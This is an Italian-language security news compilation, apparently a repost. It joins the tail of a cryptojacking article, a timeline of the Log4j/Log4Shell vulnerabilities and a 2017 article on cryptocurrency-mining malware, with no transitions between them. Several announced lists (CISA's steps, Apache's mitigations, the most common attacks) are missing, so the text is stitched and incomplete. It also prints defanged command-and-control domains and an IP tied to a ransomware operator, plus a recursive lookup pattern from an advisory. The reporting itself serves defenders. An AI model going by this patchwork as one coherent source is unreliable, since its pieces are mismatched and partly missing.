Imparare e adattarsi. Usare l'esperienza per comprendere meglio come l'aggressore è riuscito a compromettere i propri sistemi. Aggiornare la formazione per utenti, helpdesk, IT e analisti SOC in modo che siano meglio in grado di identificare tentativi di cryptojacking e rispondere di conseguenza.
Nota del redattore: Questo articolo, pubblicato originariamente a febbraio 2018, è stato aggiornato per includere nuove ricerche, best practice ed esempi di cryptojacking.
La vulnerabilità Apache Log4j ha fatto notizia in tutto il mondo da quando è stata scoperta all'inizio di dicembre. La falla ha colpito un numero enorme di organizzazioni in tutto il mondo mentre i team di sicurezza si sono affrettati a mitigare i rischi associati. Ecco una timeline degli eventi chiave relativi alla vulnerabilità Log4j così come si sono verificati.
Apache ha rilasciato dettagli su una vulnerabilità critica in Log4j, una libreria di logging utilizzata in milioni di applicazioni basate su Java. Gli aggressori hanno iniziato a sfruttare la falla (CVE-2021-44228) – soprannominata "Log4Shell", che aveva un punteggio di 10 su 10 sulla scala di valutazione delle vulnerabilità CVSS. Poteva portare all'esecuzione remota di codice (RCE) su server sottostanti che eseguono applicazioni vulnerabili. "Un aggressore che può controllare i messaggi di log o i parametri dei messaggi di log può eseguire codice arbitrario caricato da server LDAP quando la sostituzione di lookup dei messaggi è abilitata", hanno scritto gli sviluppatori di Apache in un advisory. Una correzione per il problema è stata resa disponibile con il rilascio di Log4j 2.15.0 mentre i team di sicurezza di tutto il mondo lavoravano per proteggere le proprie organizzazioni. Le aziende sono state invitate a installare l'ultima versione.
Con il continuo contraccolpo della vulnerabilità, il National Cyber Security Centre (NCSC) del Regno Unito ha emesso un avviso pubblico alle aziende britanniche sulla falla e ha delineato strategie di mitigazione. Il NCSC ha consigliato a tutte le organizzazioni di installare immediatamente l'ultimo aggiornamento ovunque Log4j fosse noto per essere utilizzato. "Questa dovrebbe essere la prima priorità per tutte le organizzazioni britanniche che utilizzano software noto per includere Log4j. Le organizzazioni dovrebbero aggiornare sia il software esposto a internet che quello non esposto a internet", recita la dichiarazione. Le aziende sono state anche invitate a cercare istanze sconosciute di Log4j e implementare monitoraggio/blocco di rete protettivo.
Proprio come il NCSC del Regno Unito, la Cybersecurity and Infrastructure Security Agency (CISA) degli Stati Uniti ha risposto pubblicamente alla vulnerabilità Log4j con la direttrice Jen Easterly che ha riflettuto sulla sfida urgente che essa rappresentava per i difensori della rete. "La CISA sta lavorando a stretto contatto con i nostri partner del settore pubblico e privato per affrontare in modo proattivo una vulnerabilità critica che colpisce i prodotti contenenti la libreria software Log4j", ha detto in una dichiarazione. "Stiamo adottando azioni urgenti per guidare la mitigazione di questa vulnerabilità e rilevare qualsiasi attività di minaccia associata. Abbiamo aggiunto questa vulnerabilità al nostro catalogo di vulnerabilità note sfruttate, che obbliga le agenzie civili federali – e segnala ai partner non federali – a correggere o rimediare urgentemente a questa vulnerabilità. Stiamo contattando in modo proattivo le entità le cui reti potrebbero essere vulnerabili e stiamo sfruttando i nostri strumenti di scansione e rilevamento delle intrusioni per aiutare i partner governativi e industriali a identificare l'esposizione o lo sfruttamento della vulnerabilità."
La CISA ha raccomandato ai proprietari di asset di adottare tre ulteriori passaggi immediati per aiutare a mitigare la vulnerabilità:
È stata scoperta una seconda vulnerabilità che colpisce Apache Log4j. Il nuovo exploit, CVE 2021-45046, consentiva ad attori malintenzionati di creare dati di input malevoli utilizzando un pattern di lookup JNDI per creare attacchi denial-of-service (DoS), secondo la descrizione CVE. È stata resa disponibile una nuova patch per l'exploit che ha rimosso il supporto per i pattern di lookup dei messaggi e disabilitato la funzionalità JNDI per impostazione predefinita, poiché la correzione Log4j 2.15.0 per la falla originale era incompleta in certe configurazioni non predefinite.
"Sebbene CVE-2021-45046 sia meno grave della vulnerabilità originale, diventa un altro vettore per gli attori delle minacce per condurre attacchi malevoli contro sistemi non patchati o patchati in modo improprio", ha detto Amy Chang, responsabile del rischio e della risposta di Resilience, a CSO poco dopo la scoperta della falla. "La patch incompleta per CVE-2021-44228 potrebbe essere abusata per creare dati di input malevoli, che potrebbero risultare in un attacco DoS. Un attacco DoS può spegnere una macchina o una rete e renderla inaccessibile agli utenti previsti", ha aggiunto. Alle organizzazioni è stato consigliato di aggiornare a Log4j: 2.16.0 il prima possibile.
Apache ha pubblicato i dettagli di una terza grave vulnerabilità Log4j e ha reso disponibile un'altra correzione. Si trattava di una falla di ricorsione infinita con un punteggio di 7,5 su 10. "Il team Log4j è stato informato di una vulnerabilità di sicurezza, CVE-2021-45105, che è stata affrontata in Log4j 2.17.0 per Java 8 e versioni successive", ha scritto. "Apache Log4j2 versioni 2.0-alpha1 fino a 2.16.0 non proteggevano dalla ricorsione incontrollata da lookup auto-referenziali. Quando la configurazione di logging utilizza un Pattern Layout non predefinito con un Context Lookup (ad esempio, $${ctx:loginId}), gli aggressori con controllo sui dati di input del Thread Context Map (MDC) possono creare dati di input malevoli che contengono un lookup ricorsivo, risultando in un StackOverflowError che terminerà il processo. Questo è anche noto come attacco DoS (denial-of-service)."
Apache ha anche delineato le seguenti mitigazioni:
Il gruppo di ricerca sulla sicurezza informatica Cryptolaemus ha avvertito che la vulnerabilità Log4j veniva sfruttata per infettare dispositivi Windows con il trojan bancario Dridex e dispositivi Linux con Meterpreter. Dridex è una forma di malware che ruba credenziali bancarie tramite un sistema che utilizza macro di Microsoft Word, mentre Meterpreter è un payload di attacco Metasploit che fornisce una shell interattiva da cui un aggressore può esplorare una macchina target ed eseguire codice. Il membro di Cryptolaemus Joseph Roosen ha detto a BleepingComputer che gli attori delle minacce utilizzano la variante dell'exploit Log4j RMI (Remote Method Invocation) per forzare i dispositivi vulnerabili a caricare ed eseguire una classe Java da un server remoto controllato dall'attaccante.
I dati rilasciati dal fornitore di cybersecurity Tenable hanno rivelato che un asset su dieci era vulnerabile a Log4Shell, mentre il 30% delle organizzazioni non aveva ancora iniziato a scansionare per il bug. "Degli asset che sono stati valutati, Log4Shell è stato trovato in circa il 10% di essi, inclusa una vasta gamma di server, applicazioni web, container e dispositivi IoT", recita un post sul blog di Tenable. "Log4Shell è pervasivo in tutti i settori e le aree geografiche. Un server aziendale su dieci è esposto. Un'applicazione web su dieci e così via. Un aspetto su dieci di quasi ogni parte della nostra infrastruttura digitale ha il potenziale per uno sfruttamento malevolo tramite Log4Shell."
Il fornitore ha avvertito che Log4Shell comporta una minaccia potenziale maggiore di EternalBlue (sfruttato negli attacchi WannaCry) a causa della pervasività di Log4j sia nell'infrastruttura che nelle applicazioni. "Nessuna singola vulnerabilità nella storia ha chiesto così apertamente una correzione. Log4Shell definirà l'informatica come la conosciamo, separando coloro che si impegnano per proteggersi e coloro che sono a proprio agio nell'essere negligenti", ha aggiunto.
La Federal Trade Commission (FTC) ha esortato le organizzazioni statunitensi a correggere immediatamente la vulnerabilità Log4Shell o rischiare azioni punitive da parte dell'agenzia. "Quando vengono scoperte e sfruttate vulnerabilità, si rischia la perdita o la violazione di informazioni personali, perdite finanziarie e altri danni irreversibili. Il dovere di adottare misure ragionevoli per mitigare vulnerabilità software note riguarda leggi tra cui, tra le altre, il Federal Trade Commission Act e il Gramm Leach Bliley Act", ha dichiarato la FTC. Ha aggiunto che è fondamentale che le aziende e i loro fornitori che si basano su Log4j agiscano ora per ridurre la probabilità di danni ai consumatori e per evitare azioni legali della FTC. "La FTC intende utilizzare tutta la sua autorità legale per perseguire le aziende che non adottano misure ragionevoli per proteggere i dati dei consumatori dall'esposizione a causa di Log4j o di vulnerabilità note simili in futuro."
Microsoft ha aggiornato la sua pagina guida sulla vulnerabilità Log4j con i dettagli di un operatore ransomware basato in Cina (DEV-0401) che prende di mira sistemi connessi a Internet e distribuisce il ransomware NightSky. "Già dal 4 gennaio, gli aggressori hanno iniziato a sfruttare la vulnerabilità CVE-2021-44228 in sistemi connessi a Internet che eseguono VMware Horizon", ha scritto. "DEV-0401 ha in precedenza distribuito diverse famiglie di ransomware tra cui LockFile, AtomSilo e Rook, e ha sfruttato in modo simile sistemi connessi a Internet che eseguono Confluence (CVE-2021-26084) e server Exchange on-premise (CVE-2021-34473)." Sulla base dell'analisi di Microsoft, è stato scoperto che gli aggressori utilizzavano server di comando e controllo (CnC) che falsificano domini legittimi. Questi includono service[.]trendmrcio[.]com, api[.]rogerscorp[.]org, api[.]sophosantivirus[.]ga, apicon[.]nvidialab[.]us, w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator[.]net e 139[.]180[.]217[.]203.
Security 101: L'impatto del malware di mining di criptovalute
Il governo australiano ha appena riconosciuto la valuta digitale come metodo di pagamento legale. Dal 1° luglio, gli acquisti effettuati utilizzando valute digitali come Bitcoin sono esenti dall'imposta sui beni e servizi del paese per evitare la doppia imposizione. Di conseguenza, trader e investitori non saranno tassati per l'acquisto e la vendita tramite piattaforme di scambio legali.
Il Giappone, che ha legittimato Bitcoin come forma di pagamento lo scorso aprile, già prevede che più di 20.000 commercianti accetteranno pagamenti in Bitcoin. Altri paesi stanno seguendo l'esempio, anche se parzialmente: aziende e alcune organizzazioni pubbliche in Svizzera, Norvegia e Paesi Bassi. In un recente studio, gli utenti attivi unici di portafogli di criptovalute sono stimati tra 2,9 e 5,8 milioni, la maggior parte dei quali in Nord America e Europa.
Ma cosa c'entra l'accettazione e l'adozione delle valute digitali con le minacce online? Molto, in realtà. Man mano che le criptovalute come Bitcoin acquistano terreno nel mondo reale, aumenteranno anche le minacce informatiche che ne abusano. Ma come, esattamente? Cosa significa per le aziende e gli utenti comuni?
Una criptovaluta è una stringa di dati crittografata che denota un'unità di valuta. È monitorata e organizzata da una rete peer-to-peer nota anche come blockchain, che funge anche da registro sicuro delle transazioni, ad esempio acquisto, vendita e trasferimento. A differenza del denaro fisico, le criptovalute sono decentralizzate, il che significa che non sono emesse da governi o altre istituzioni finanziarie.
Le criptovalute vengono create (e protette) attraverso algoritmi crittografici che vengono mantenuti e confermati in un processo chiamato mining, in cui una rete di computer o hardware specializzato come circuiti integrati specifici per applicazione (ASIC) elabora e convalida le transazioni. Il processo incentiva i miner che gestiscono la rete con la criptovaluta.
Esistono in realtà oltre 700 criptovalute, ma solo alcune sono facilmente scambiabili e ancora meno hanno una capitalizzazione di mercato superiore a 100 milioni di dollari. Bitcoin, ad esempio, è stato creato da Satoshi Nakamoto (pseudonimo) e rilasciato nel 2009 come codice open source. La tecnologia blockchain ha fatto funzionare tutto, fornendo un sistema in cui le strutture dati (blocchi) vengono trasmesse, convalidate e registrate in un database pubblico e distribuito attraverso una rete di endpoint di comunicazione (nodi).
Sebbene Bitcoin sia la criptovaluta più famosa, esistono altre alternative popolari. Ethereum ha portato gli "smart contract" a un livello superiore rendendo i linguaggi di programmazione necessari per codificarli più accessibili agli sviluppatori. Gli accordi, o transazioni condizionali/se-allora, vengono scritti come codice ed eseguiti (purché i requisiti siano soddisfatti) nella blockchain di Ethereum.
Ethereum, tuttavia, ha guadagnato notorietà dopo che un hacker ha sfruttato una vulnerabilità nella Digital Autonomous Organization (DAO) in esecuzione sul software di Ethereum, sottraendo 50 milioni di dollari in ether (la valuta di Ethereum). Ciò ha portato allo sviluppo di Ethereum Classic, basato sulla blockchain originale, e di Ethereum, la sua versione aggiornata (tramite un hard fork).
Esistono anche altre criptovalute degne di nota: Litecoin, Dogecoin, Monero. Litecoin è un presunto miglioramento tecnico di Bitcoin in grado di tempi di elaborazione più rapidi grazie al suo algoritmo di mining Scrypt (Bitcoin utilizza SHA-256). La rete Litecoin è in grado di produrre 84 milioni di Litecoin, quattro volte il numero di unità di criptovaluta emesse da Bitcoin. Monero è noto per l'uso di firme ad anello (un tipo di firma digitale) e del protocollo a livello applicativo CryptoNote per proteggere la privacy delle sue transazioni: importo, origine e destinazione. Dogecoin, inizialmente sviluppato per scopi educativi o di intrattenimento, era destinato a un pubblico più ampio. In grado di generare dogecoin illimitati, utilizza anche Scrypt per alimentare la valuta.
Le criptovalute non hanno confini: chiunque può inviarle in qualsiasi momento e ovunque, senza ritardi o costi aggiuntivi/nascosti da parte degli intermediari. Data la loro natura, sono più sicure da frodi e furti di identità poiché le criptovalute non possono essere contraffatte e le informazioni personali sono dietro un muro crittografico.
Sfortunatamente, la stessa apparente redditività, convenienza e pseudonimia delle criptovalute le ha rese ideali anche per i criminali informatici, come hanno dimostrato gli operatori di ransomware. La crescente popolarità delle criptovalute coincide con le incidenze di malware che infettano sistemi e dispositivi, trasformandoli in eserciti di macchine per il mining di criptovalute.
Il mining di criptovalute è un'attività computazionalmente intensiva che richiede risorse significative da processori dedicati, schede grafiche e altro hardware. Sebbene il mining generi denaro, ci sono molti avvertimenti. Il profitto è relativo all'investimento del miner nell'hardware, senza contare i costi dell'elettricità per alimentarli.
Le criptovalute vengono estratte in blocchi; in Bitcoin, ad esempio, ogni volta che viene risolto un certo numero di hash, il numero di bitcoin che possono essere assegnati al miner per blocco viene dimezzato. Poiché la rete Bitcoin è progettata per generare la criptovaluta ogni 10 minuti, la difficoltà di risolvere un altro hash viene regolata. E man mano che la potenza di mining aumenta, il fabbisogno di risorse per estrarre un nuovo blocco si accumula. I pagamenti sono relativamente piccoli e alla fine diminuiscono ogni quattro anni: nel 2016, la ricompensa per l'estrazione di un blocco è stata dimezzata a 12,5 BTC (o $32.000 al 5 luglio 2017). Di conseguenza, molti si uniscono in pool per rendere il mining più efficiente. Il profitto viene diviso tra il gruppo, a seconda dello sforzo esercitato da un miner.
I malintenzionati si rivolgono all'uso di malware per aggirare queste sfide. C'è tuttavia un avvertimento per i miner criminali: i dispositivi e le macchine connesse a Internet, sebbene abbastanza veloci per elaborare i dati di rete, non hanno vaste capacità di elaborazione numerica. Per compensare questo, i malware di mining di criptovalute sono progettati per zombificare botnet di computer per eseguire queste attività. Altri hanno evitato del tutto la sottigliezza: nel 2014, il cluster di supercomputer Odyssey di Harvard è stato utilizzato per estrarre illicitamente dogecoin. Nello stesso anno, un incidente simile è accaduto ai supercomputer dell'agenzia statunitense National Science Foundation. All'inizio di febbraio 2017, uno dei server della Federal Reserve statunitense è stato abusato per estrarre bitcoin.
I malware di mining di criptovalute impiegano la stessa modalità operativa di molte altre minacce, dalle email di spam con allegati malware e download da URL dannosi a junkware e applicazioni potenzialmente indesiderate (PUA). Nel gennaio 2014, una vulnerabilità nella rete pubblicitaria basata su Java di Yahoo! è stata compromessa, esponendo gli utenti europei a malvertisement che distribuivano un malware di mining di bitcoin. Un mese prima, la polizia tedesca ha arrestato hacker per aver presumibilmente utilizzato malware per estrarre oltre $954.000 in bitcoin.
Abbiamo visto l'emergere di strumenti di hacking e backdoor relativi al mining di bitcoin criminale già dal 2011, e da allora abbiamo visto una varietà di minacce di mining di criptovalute che aggiungono più capacità, come attacchi distributed denial-of-service e spoofing di URL. Un altro ha persino tentato di mascherare come componente di un prodotto Trend Micro. Nel 2014, la minaccia è migrata sui dispositivi Android come Kagecoin, in grado di estrarre bitcoin, litecoin e dogecoin. Un trojan ad accesso remoto (RAT) njrat/Njw0rm ampiamente condiviso nell'underground mediorientale è stato modificato per aggiungere funzionalità di mining di bitcoin. Lo stesso è stato fatto per un vecchio Java RAT in grado di estrarre litecoin.
I malware di mining di criptovalute degni di nota di quest'anno finora sono Adylkuzz, CPUMiner/EternalMiner e Linux.MulDrop.14. Tutti sfruttano vulnerabilità. Adylkuzz sfrutta EternalBlue, la stessa falla di sicurezza che il ransomware WannaCry ha utilizzato in modo distruttivo, mentre CPUMiner/EternalMiner ha utilizzato SambaCry, una vulnerabilità nella suite software di interoperabilità Samba. Linux.MulDrop.14, un trojan Linux, prende di mira dispositivi Raspberry Pi. Queste minacce hanno infettato dispositivi e macchine e li hanno trasformati in botnet di mining di monero.
I malware di mining di criptovalute rubano le risorse delle macchine infette, influenzando significativamente le loro prestazioni e aumentando la loro usura. Un'infezione comporta anche altri costi, come l'aumento del consumo energetico.
Ma abbiamo anche scoperto che il loro impatto va oltre i problemi di prestazioni. Dal 1° gennaio al 24 giugno 2017, i nostri sensori hanno rilevato 4.894 miner di bitcoin che hanno attivato oltre 460.259 attività di mining di bitcoin e hanno scoperto che oltre il 20% di questi miner ha anche attivato attacchi basati su web e rete. Abbiamo persino trovato tentativi di intrusione collegati al vettore di attacco di un ransomware. Gli attacchi più diffusi che abbiamo visto sono stati:
Questi malware possono minacciare la disponibilità, l'integrità e la sicurezza di una rete o di un sistema, il che può potenzialmente portare a interruzioni delle operazioni critiche per la missione di un'impresa. Il furto di informazioni e il dirottamento del sistema sono anche ripercussioni scoraggianti. Questi attacchi possono anche essere il canale attraverso il quale vengono distribuiti ulteriori malware.
I dispositivi Internet of Things (IoT) sono anch'essi nel mirino dei malware di mining di criptovalute: dai videoregistratori digitali (DVR)/telecamere di sorveglianza, set-top box, dispositivi di archiviazione collegati in rete (NAS) e soprattutto router, data la loro ubiquità negli ambienti domestici e aziendali. Nell'aprile 2017, una variante di Mirai è emersa con capacità di mining di bitcoin. La notorietà di Mirai è derivata dai danni che ha causato nei dispositivi IoT, in particolare router domestici, utilizzandoli per mettere offline siti di alto profilo l'anno scorso. Nei primi tre trimestri del 2016, abbiamo rilevato un esercito zombie di mining di bitcoin composto da sistemi Windows, router domestici e telecamere IP.
Dal 1° gennaio al 24 giugno 2017, abbiamo anche osservato diversi tipi di dispositivi che stavano estraendo bitcoin, sebbene la nostra telemetria non possa verificare se queste attività fossero autorizzate. Abbiamo anche visto un aumento del 40% delle attività di mining di bitcoin da 1.800 eventi attivati al giorno a febbraio a 3.000 a marzo 2017.
Sebbene il mining di bitcoin non sia intrinsecamente illegale (almeno in molti paesi), può comportare un compromesso se non avviene con la conoscenza e il consenso del proprietario. Abbiamo scoperto che le macchine con Windows avevano la maggior parte delle attività di mining di bitcoin, ma degni di nota sono anche:
[LEGGI: Come proteggere il router da Mirai e attacchi alla rete domestica]
I malware di mining di criptovalute possono compromettere le prestazioni del sistema e mettere a rischio utenti finali e aziende di furto di informazioni, dirottamento e una miriade di altri malware. E trasformando queste macchine in zombie, i malware di criptovalute possono persino rendere involontariamente le loro vittime parte del problema.
In effetti, il loro impatto negativo sui dispositivi che infettano, e in ultima analisi sul patrimonio di un'azienda o sui dati di un utente, li rende una minaccia credibile. Non esiste un proiettile d'argento per questi malware, ma possono essere mitigati seguendo queste buone pratiche:
Gli amministratori IT/sistemi e i professionisti della sicurezza informatica possono anche considerare l'elenco di applicazioni consentite (application whitelisting) o meccanismi di sicurezza simili che impediscono l'esecuzione o l'installazione di eseguibili sospetti. Il monitoraggio proattivo del traffico di rete aiuta a identificare meglio i segnali di allarme che possono indicare un'infezione da malware. Applicare il principio del minimo privilegio, sviluppare contromisure contro le iniezioni web, proteggere il gateway email, implementare le migliori pratiche per i dispositivi mobili aziendali, e coltivare una forza lavoro consapevole della cybersecurity fanno parte di un approccio di difesa in profondità per ridurre l'esposizione di un'impresa a queste minacce. In definitiva, tuttavia, la sicurezza dei dispositivi connessi a Internet contro i malware per il mining di criptovalute non è solo un onere per i loro utenti. Anche i progettisti e i produttori di apparecchiature originali svolgono ruoli vitali nella protezione degli ecosistemi in cui operano.
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/PNDBjoT83zA
Source: https://cryptodeeptech.ru/log4j-vulnerability
